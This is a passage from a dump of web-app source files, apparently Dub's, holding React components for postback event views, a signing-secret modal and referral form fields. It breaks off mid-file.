    "content": "import { PostbackEventListSkeleton } from \"@/ui/postbacks/postback-event-list-skeleton\";\n\nexport function PostbackDetailSkeleton() {\n  return (\n    <>\n      <div className=\"flex justify-between gap-8 sm:items-center\">\n        <div className=\"flex min-w-0 flex-col gap-3 sm:flex-row sm:items-center\">\n          <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n            <div className=\"size-8 animate-pulse rounded-full bg-neutral-100\" />\n          </div>\n          <div className=\"flex flex-col gap-2\">\n            <div className=\"h-5 w-28 animate-pulse rounded-full bg-neutral-100\" />\n            <div className=\"h-3 w-48 animate-pulse rounded-full bg-neutral-100\" />\n          </div>\n        </div>\n        <div className=\"size-8 shrink-0 animate-pulse rounded-md border border-neutral-200 bg-neutral-100\" />\n      </div>\n      <div className=\"space-y-4\">\n        <h2 className=\"text-sm font-medium\">Events</h2>\n        <PostbackEventListSkeleton />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-event-details-sheet.tsx",
    "content": "\"use client\";\n\nimport { PostbackEventProps } from \"@/lib/types\";\nimport { Button, ButtonTooltip, Sheet, useCopyToClipboard } from \"@dub/ui\";\nimport { Copy } from \"@dub/ui/icons\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport type { HighlighterCore } from \"shiki\";\nimport { toast } from \"sonner\";\nimport { X } from \"../shared/icons\";\n\ninterface PostbackEventDetailsSheetProps {\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  event: PostbackEventProps | null;\n}\n\nfunction PostbackEventDetailsSheetContent({\n  event,\n}: Omit<PostbackEventDetailsSheetProps, \"isOpen\" | \"setIsOpen\">) {\n  const [highlighter, setHighlighter] = useState<HighlighterCore | null>(null);\n  const [responseBody, setResponseBody] = useState(\"\");\n  const [requestBody, setRequestBody] = useState(\"\");\n\n  useEffect(() => {\n    import(\"shiki\").then(({ createHighlighter }) => {\n      createHighlighter({\n        themes: [\"min-light\"],\n        langs: [\"json\"],\n      }).then(setHighlighter);\n    });\n  }, []);\n\n  useEffect(() => {\n    if (!highlighter || !event) return;\n\n    const toHighlightedJson = (raw: string) => {\n      let value: unknown;\n      try {\n        value = JSON.parse(raw);\n      } catch {\n        value = raw;\n      }\n\n      const jsonStr = JSON.stringify(value, null, 2) ?? String(value);\n      return highlighter.codeToHtml(jsonStr, {\n        theme: \"min-light\",\n        lang: \"json\",\n      });\n    };\n\n    setResponseBody(toHighlightedJson(event.response_body));\n    setRequestBody(toHighlightedJson(event.request_body));\n  }, [highlighter, event]);\n\n  const [, copyToClipboard] = useCopyToClipboard();\n\n  if (!event) return null;\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"p-6\">\n        <div className=\"flex items-start justify-between\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {event.event}\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n        <div className=\"group flex items-center gap-2\">\n          <p className=\"font-mono text-sm text-neutral-500\">{event.event_id}</p>\n          <ButtonTooltip\n            tooltipProps={{\n              content: \"Copy event ID\",\n            }}\n            onClick={() =>\n              toast.promise(copyToClipboard(event.event_id), {\n                success: \"Copied to clipboard\",\n              })\n            }\n          >\n            <Copy className=\"size-4 opacity-0 transition-opacity group-hover:opacity-100\" />\n          </ButtonTooltip>\n        </div>\n      </div>\n      <div className=\"scrollbar-hide flex min-h-0 flex-1 flex-col overflow-y-auto\">\n        <div className=\"grid gap-4 border-t border-neutral-200 bg-white p-6\">\n          <h4 className=\"font-semibold\">Response</h4>\n          <div className=\"flex items-center gap-8\">\n            <p className=\"text-sm text-neutral-500\">HTTP status code</p>\n            <p className=\"text-sm text-neutral-700\">{event.response_status}</p>\n          </div>\n          <div\n            className=\"shiki-wrapper overflow-y-scroll text-sm\"\n            dangerouslySetInnerHTML={{ __html: responseBody }}\n          />\n        </div>\n        <div className=\"grid gap-4 border-t border-neutral-200 bg-white p-6\">\n          <h4 className=\"font-semibold\">Request</h4>\n          <div\n            className=\"shiki-wrapper overflow-y-scroll text-sm\"\n            dangerouslySetInnerHTML={{ __html: requestBody }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PostbackEventDetailsSheet({\n  isOpen,\n  setIsOpen,\n  event,\n}: PostbackEventDetailsSheetProps) {\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      contentProps={{ className: \"md:w-[650px]\" }}\n    >\n      <PostbackEventDetailsSheetContent event={event} />\n    </Sheet>\n  );\n}\n\nexport function usePostbackEventDetailsSheet() {\n  const [isOpen, setIsOpen] = useState(false);\n  const [event, setEvent] = useState<PostbackEventProps | null>(null);\n\n  const openWithEvent = (e: PostbackEventProps) => {\n    setEvent(e);\n    setIsOpen(true);\n  };\n\n  return {\n    postbackEventDetailsSheet: event ? (\n      <PostbackEventDetailsSheet\n        event={event}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n      />\n    ) : null,\n    openWithEvent,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-event-list-skeleton.tsx",
    "content": "export const PostbackEventListSkeleton = () => {\n  return (\n    <div className=\"overflow-hidden rounded-md border border-neutral-200\">\n      <div className=\"flex flex-col divide-y divide-neutral-200\">\n        {[...Array(5)].map((_, index) => (\n          <div\n            className=\"flex items-center justify-between gap-5 px-3.5 py-3\"\n            key={index}\n          >\n            <div className=\"flex items-center gap-5\">\n              <div className=\"flex items-center gap-2.5\">\n                <div className=\"h-4 w-4 animate-pulse rounded-full bg-neutral-200\" />\n                <div className=\"h-4 w-12 animate-pulse rounded-full bg-neutral-200\" />\n              </div>\n              <div className=\"h-4 w-24 animate-pulse rounded-full bg-neutral-200\" />\n            </div>\n            <div className=\"h-3 w-20 animate-pulse rounded-full bg-neutral-200\" />\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-event-list.tsx",
    "content": "\"use client\";\n\nimport { PostbackEventProps } from \"@/lib/types\";\nimport { TimestampTooltip, Tooltip } from \"@dub/ui\";\nimport { CircleCheck, CircleHalfDottedClock } from \"@dub/ui/icons\";\nimport { formatDateTimeSmart } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport type PostbackEventListProps = PropsWithChildren<{\n  events: PostbackEventProps[];\n  onEventClick: (event: PostbackEventProps) => void;\n}>;\n\nconst PostbackEventRow = ({\n  event,\n  onClick,\n}: {\n  event: PostbackEventProps;\n  onClick: () => void;\n}) => {\n  const isSuccess = event.response_status >= 200 && event.response_status < 300;\n\n  return (\n    <button\n      type=\"button\"\n      onClick={onClick}\n      className=\"flex items-center justify-between gap-5 px-3.5 py-3 hover:bg-neutral-50 focus:outline-none\"\n    >\n      <div className=\"flex items-center gap-5\">\n        <div className=\"flex items-center gap-2.5\">\n          <Tooltip\n            content={\n              isSuccess\n                ? \"This postback was successfully delivered.\"\n                : \"This postback failed to deliver – it will be retried.\"\n            }\n          >\n            <div>\n              {isSuccess ? (\n                <CircleCheck className=\"size-4 text-green-500\" />\n              ) : (\n                <CircleHalfDottedClock className=\"size-4 text-amber-500\" />\n              )}\n            </div>\n          </Tooltip>\n          <div className=\"text-sm text-neutral-500\">\n            {event.response_status}\n          </div>\n        </div>\n        <div className=\"text-sm text-neutral-500\">{event.event}</div>\n      </div>\n\n      <TimestampTooltip\n        timestamp={event.timestamp}\n        side=\"right\"\n        rows={[\"local\", \"utc\", \"unix\"]}\n      >\n        <div className=\"text-xs text-neutral-400\">\n          {formatDateTimeSmart(event.timestamp)}\n        </div>\n      </TimestampTooltip>\n    </button>\n  );\n};\n\nexport const PostbackEventList = ({\n  events,\n  onEventClick,\n}: PostbackEventListProps) => {\n  return (\n    <div className=\"overflow-hidden rounded-md border border-neutral-200\">\n      <div className=\"flex flex-col divide-y divide-neutral-200\">\n        {events.map((event) => (\n          <PostbackEventRow\n            key={event.event_id}\n            event={event}\n            onClick={() => onEventClick(event)}\n          />\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-placeholder.tsx",
    "content": "export function PostbackPlaceholder() {\n  return (\n    <div className=\"relative grid gap-4 rounded-xl border border-neutral-200 bg-white px-5 py-4\">\n      <div className=\"flex items-center gap-2\">\n        <div className=\"flex size-12 items-center justify-center rounded-lg bg-neutral-100\" />\n        <div className=\"flex flex-col gap-2\">\n          <div className=\"h-4 w-20 rounded-full bg-neutral-100\" />\n          <div className=\"h-3 w-28 rounded-full bg-neutral-100\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-secret-modal.tsx",
    "content": "\"use client\";\n\nimport { Button, Copy, Modal, Tick, useCopyToClipboard } from \"@dub/ui\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface PostbackSecretModalProps {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  secret: string;\n}\n\nfunction PostbackSecretModal({\n  showModal,\n  setShowModal,\n  secret,\n}: PostbackSecretModalProps) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Signing secret</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Copy it and store it somewhere safe. You will need it to verify\n          postback signatures.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 sm:px-6\">\n        <div className=\"flex flex-col gap-1\">\n          <h2 className=\"text-sm font-medium text-neutral-800\">\n            Signing secret\n          </h2>\n          <div className=\"flex items-center justify-between gap-2 rounded-md border border-neutral-200 bg-white p-2\">\n            <p className=\"truncate font-mono text-sm text-neutral-500\">\n              {secret}\n            </p>\n            <button\n              onClick={(e) => {\n                e.stopPropagation();\n                toast.promise(copyToClipboard(secret), {\n                  success: \"Secret copied to clipboard!\",\n                });\n              }}\n              type=\"button\"\n              className=\"flex h-7 shrink-0 items-center gap-2 rounded-md border border-neutral-200 bg-white px-2 py-1 text-xs font-medium text-neutral-900 hover:bg-neutral-50\"\n            >\n              {copied ? (\n                <Tick className=\"h-3.5 w-3.5\" />\n              ) : (\n                <Copy className=\"h-3.5 w-3.5\" />\n              )}\n              {copied ? \"Copied\" : \"Copy\"}\n            </button>\n          </div>\n        </div>\n\n        <Button\n          text=\"Done\"\n          variant=\"secondary\"\n          onClick={() => setShowModal(false)}\n          className=\"w-full\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function usePostbackSecretModal() {\n  const [state, setState] = useState<{ show: boolean; secret: string }>({\n    show: false,\n    secret: \"\",\n  });\n\n  function openPostbackSecretModal(secret: string) {\n    setState({ show: true, secret });\n  }\n\n  function closePostbackSecretModal() {\n    setState({ show: false, secret: \"\" });\n  }\n\n  function PostbackSecretModalWrapper() {\n    if (!state.show) return null;\n\n    return (\n      <PostbackSecretModal\n        showModal={state.show}\n        setShowModal={(show) => {\n          const next = typeof show === \"function\" ? show(state.show) : show;\n          if (!next) closePostbackSecretModal();\n        }}\n        secret={state.secret}\n      />\n    );\n  }\n\n  return {\n    openPostbackSecretModal,\n    closePostbackSecretModal,\n    PostbackSecretModal: PostbackSecretModalWrapper,\n    isPostbackSecretModalOpen: state.show,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/postback-status.tsx",
    "content": "import { Postback } from \"@dub/prisma/client\";\nimport { Badge } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function PostbackStatus({ disabledAt }: Pick<Postback, \"disabledAt\">) {\n  const isDisabled = !!disabledAt;\n\n  return (\n    <Badge\n      variant={isDisabled ? \"neutral\" : \"green\"}\n      className={cn(isDisabled && \"border-red-100 bg-red-100 text-red-500\")}\n    >\n      {isDisabled ? \"Disabled\" : \"Enabled\"}\n    </Badge>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/postbacks/send-test-postback-modal.tsx",
    "content": "\"use client\";\n\nimport { partnerProfileFetch } from \"@/lib/api/partner-profile/client\";\nimport { POSTBACK_TRIGGER_DESCRIPTIONS } from \"@/lib/postback/constants\";\nimport { sendTestPostbackInputSchema } from \"@/lib/postback/schemas\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { Button, Combobox, ComboboxOption, Modal } from \"@dub/ui\";\nimport { Dispatch, SetStateAction, useEffect, useMemo } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<typeof sendTestPostbackInputSchema>;\n\ninterface SendTestPostbackModalProps {\n  postbackId: string;\n  triggers: string[];\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  onSuccess?: () => void;\n}\n\nexport function SendTestPostbackModal({\n  postbackId,\n  triggers,\n  showModal,\n  setShowModal,\n  onSuccess,\n}: SendTestPostbackModalProps) {\n  const options = useMemo(\n    () =>\n      triggers.map((t) => ({\n        value: t,\n        label: POSTBACK_TRIGGER_DESCRIPTIONS[t as PostbackTrigger] ?? t,\n      })),\n    [triggers],\n  );\n\n  const {\n    handleSubmit,\n    reset,\n    setValue,\n    watch,\n    formState: { isSubmitting },\n  } = useForm<FormData>({\n    defaultValues: {\n      event: \"\" as FormData[\"event\"],\n    },\n  });\n\n  const selectedEvent = watch(\"event\");\n\n  const selectedOption: ComboboxOption | null = selectedEvent\n    ? options.find((o) => o.value === selectedEvent) ?? null\n    : null;\n\n  useEffect(() => {\n    if (showModal) {\n      reset({\n        event: \"\" as FormData[\"event\"],\n      });\n    }\n  }, [showModal, reset]);\n\n  const onSubmit = async (data: FormData) => {\n    await partnerProfileFetch(\n      \"@post/api/partner-profile/postbacks/:postbackId/send-test\",\n      {\n        params: {\n          postbackId,\n        },\n        body: {\n          event: data.event,\n        },\n        onSuccess: async () => {\n          setShowModal(false);\n          await mutatePrefix(\"/api/partner-profile/postbacks\");\n          toast.success(\"Test event sent successfully\");\n          onSuccess?.();\n        },\n        onError: ({ error }) => {\n          toast.error(error.error.message);\n        },\n      },\n    );\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Send test postback event\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          Choose an event to send a test payload to your endpoint.\n        </p>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form\n          onSubmit={(e) => {\n            e.stopPropagation();\n            return handleSubmit(onSubmit)(e);\n          }}\n        >\n          <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n            <div className=\"mt-2\">\n              <Combobox\n                options={options}\n                selected={selectedOption}\n                setSelected={(opt) =>\n                  setValue(\"event\", (opt?.value as FormData[\"event\"]) ?? \"\", {\n                    shouldDirty: true,\n                  })\n                }\n                placeholder=\"Select an event\"\n                matchTriggerWidth\n                caret\n              />\n            </div>\n          </div>\n\n          <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <div className=\"flex gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit\"\n                onClick={() => setShowModal(false)}\n                disabled={isSubmitting}\n              />\n              <Button\n                type=\"submit\"\n                text=\"Send test event\"\n                className=\"h-9 w-fit\"\n                loading={isSubmitting}\n                disabled={!selectedEvent || isSubmitting}\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/country-field.tsx",
    "content": "import { countryFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { CountryCombobox } from \"@/ui/partners/country-combobox\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype CountryFieldData = z.infer<typeof countryFieldSchema>;\n\nexport function CountryField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: CountryFieldData;\n}) {\n  const { getFieldState, control } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={{\n          validate: (val: any) => {\n            if (field.required && (!val || val === \"\")) {\n              return \"Please select a country\";\n            }\n            return true;\n          },\n        }}\n        render={({ field: formField }) => (\n          <CountryCombobox\n            value={formField.value || \"\"}\n            onChange={formField.onChange}\n            error={error}\n            className=\"focus:border-[var(--brand)] focus:ring-[var(--brand)]\"\n          />\n        )}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/date-field.tsx",
    "content": "import { dateFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype DateFieldData = z.infer<typeof dateFieldSchema>;\n\nexport function DateField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: DateFieldData;\n}) {\n  const { register, getFieldState } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <input\n        type=\"date\"\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        {...register(keyPath, {\n          required: field.required,\n        })}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/form-control.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { HTMLAttributes } from \"react\";\n\nexport type FormControlProps = {\n  label: string;\n  required?: boolean;\n  helperText?: string;\n  error?: string;\n  labelDir?: string;\n} & HTMLAttributes<HTMLLabelElement>;\n\nexport const FormControlRequiredBadge = () => {\n  return (\n    <span className=\"min-h-4 rounded-md bg-orange-100 px-1 text-xs font-semibold text-orange-600\">\n      Required\n    </span>\n  );\n};\n\nexport const FormControl = ({\n  label,\n  required,\n  children,\n  error,\n  helperText,\n  labelDir,\n  ...rest\n}: FormControlProps) => {\n  return (\n    <label {...rest}>\n      <div className=\"flex items-center gap-1\" dir={labelDir}>\n        <span className=\"text-content-emphasis text-sm font-medium\">\n          {label}\n        </span>\n        {required && <FormControlRequiredBadge />}\n      </div>\n\n      <div className=\"mt-2\">\n        {children}\n\n        {(error || helperText) && (\n          <div\n            className={cn(\n              \"mt-2 text-xs\",\n              error ? \"text-red-500\" : \"text-neutral-500\",\n            )}\n          >\n            {error || helperText}\n          </div>\n        )}\n      </div>\n    </label>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/index.tsx",
    "content": "import { formFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport * as z from \"zod/v4\";\nimport { CountryField } from \"./country-field\";\nimport { DateField } from \"./date-field\";\nimport { MultiSelectField } from \"./multi-select-field\";\nimport { NumberField } from \"./number-field\";\nimport { PhoneField } from \"./phone-field\";\nimport { SelectField } from \"./select-field\";\nimport { TextField } from \"./text-field\";\nimport { TextareaField } from \"./textarea-field\";\n\nconst FIELD_COMPONENTS: Record<\n  Exclude<z.infer<typeof formFieldSchema>[\"type\"], \"text\">,\n  React.ComponentType<any>\n> = {\n  textarea: TextareaField,\n  select: SelectField,\n  country: CountryField,\n  date: DateField,\n  multiSelect: MultiSelectField,\n  number: NumberField,\n  phone: PhoneField,\n};\n\ninterface ReferralFormFieldProps {\n  field: z.infer<typeof formFieldSchema>;\n  keyPath?: string;\n  inputProps?: React.InputHTMLAttributes<HTMLInputElement>;\n}\n\nexport const ReferralFormField = ({\n  field,\n  keyPath,\n  inputProps,\n}: ReferralFormFieldProps) => {\n  // Handle text fields specially to pass inputProps\n  if (field.type === \"text\") {\n    return (\n      <TextField\n        field={field}\n        keyPath={keyPath}\n        {...(inputProps && { inputProps })}\n      />\n    );\n  }\n\n  const Component = FIELD_COMPONENTS[field.type];\n\n  if (!Component) {\n    return null;\n  }\n\n  return <Component field={field} keyPath={keyPath} />;\n};\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/max-character-count.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport const MaxCharacterCount = ({\n  currentLength,\n  maxLength,\n}: {\n  currentLength: number;\n  maxLength: number;\n}) => {\n  const isOverLimit = currentLength > maxLength;\n\n  return (\n    <span\n      className={cn(\n        \"mt-1 block text-xs transition-colors duration-75\",\n        isOverLimit ? \"text-red-500\" : \"text-neutral-500\",\n      )}\n    >\n      {currentLength}/{maxLength}\n    </span>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/multi-select-field.tsx",
    "content": "import { multiSelectFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { Checkbox } from \"@dub/ui\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype MultiSelectFieldData = z.infer<typeof multiSelectFieldSchema>;\n\nexport function MultiSelectField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: MultiSelectFieldData;\n}) {\n  const { getFieldState, control } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const options = field.options;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={{\n          validate: (val: any) => {\n            if (field.required && (!Array.isArray(val) || !val.length)) {\n              return \"Please select at least one option\";\n            }\n            return true;\n          },\n        }}\n        render={({ field: formField }) => (\n          <div className=\"mt-2 space-y-2\">\n            {options.map((option) => {\n              const isSelected = formField.value?.includes(option.value);\n\n              return (\n                <label\n                  key={option.value}\n                  className=\"flex w-full items-center gap-2.5 text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70\"\n                  dir=\"auto\"\n                >\n                  <Checkbox\n                    checked={isSelected}\n                    className=\"border-border-default size-4 rounded focus:border-[var(--brand)] focus:ring-[var(--brand)] focus-visible:border-[var(--brand)] focus-visible:ring-[var(--brand)] data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n                    onCheckedChange={(checked) => {\n                      if (checked) {\n                        formField.onChange([\n                          ...(formField.value || []),\n                          option.value,\n                        ]);\n                      } else {\n                        if (\n                          Array.isArray(formField.value) &&\n                          formField.value.includes(option.value)\n                        ) {\n                          formField.onChange(\n                            formField.value.filter((v) => v !== option.value),\n                          );\n                        }\n                      }\n                    }}\n                  />\n\n                  <span className=\"text-content-emphasis text-sm\">\n                    {option.label}\n                  </span>\n                </label>\n              );\n            })}\n          </div>\n        )}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/number-field.tsx",
    "content": "import { numberFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype NumberFieldData = z.infer<typeof numberFieldSchema>;\n\nexport function NumberField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: NumberFieldData;\n}) {\n  const { register, getFieldState } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <input\n        type=\"number\"\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        {...register(keyPath, {\n          required: field.required,\n          valueAsNumber: true,\n        })}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/phone-field.tsx",
    "content": "import { phoneFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype PhoneFieldData = z.infer<typeof phoneFieldSchema>;\n\nexport function PhoneField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: PhoneFieldData;\n}) {\n  const { register, getFieldState } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <input\n        type=\"tel\"\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        {...register(keyPath, {\n          required: field.required,\n        })}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/select-field.tsx",
    "content": "import { selectFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { Combobox } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype SelectFieldData = z.infer<typeof selectFieldSchema>;\n\nexport function SelectField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: SelectFieldData;\n}) {\n  const { getFieldState, control } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  const options = field.options.map((option) => ({\n    label: option.label,\n    value: option.value,\n  }));\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={{\n          validate: (val: any) => {\n            if (field.required && (!val || val === \"\")) {\n              return \"Please select an option\";\n            }\n            return true;\n          },\n        }}\n        render={({ field: formField }) => (\n          <Combobox\n            selected={options.find((o) => o.value === formField.value) ?? null}\n            setSelected={(option) => {\n              if (!option) return;\n              formField.onChange(option.value);\n            }}\n            options={options}\n            caret={true}\n            placeholder=\"Select\"\n            matchTriggerWidth\n            buttonProps={{\n              className: cn(\n                \"mt-1.5 w-full justify-start border-neutral-300 px-3\",\n                \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 focus:border-[var(--brand)] focus:ring-[var(--brand)] transition-none\",\n                !formField.value && \"text-neutral-400\",\n                error && \"border-red-500 ring-red-500 ring-1\",\n              ),\n            }}\n            hideSearch\n          />\n        )}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/text-field.tsx",
    "content": "import { textFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\nimport { MaxCharacterCount } from \"./max-character-count\";\n\ntype TextFieldData = z.infer<typeof textFieldSchema>;\n\nexport function TextField({\n  keyPath: keyPathProp,\n  field,\n  inputProps,\n}: {\n  keyPath?: string;\n  field: TextFieldData;\n  inputProps?: React.InputHTMLAttributes<HTMLInputElement>;\n}) {\n  const { register, getFieldState, watch } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const value = watch(keyPath);\n  const state = getFieldState(keyPath);\n  const currentLength = value?.length || 0;\n  const maxLength = field.constraints?.maxLength;\n  const exceedsMaxLength = maxLength && currentLength > maxLength;\n  const error = !!state.error || exceedsMaxLength;\n\n  // Determine input type - use email for email fields, text otherwise\n  const inputType = inputProps?.type || \"text\";\n\n  return (\n    <FormControl label={field.label} required={field.required} dir=\"auto\">\n      <input\n        type={inputType}\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        {...inputProps}\n        {...register(keyPath, 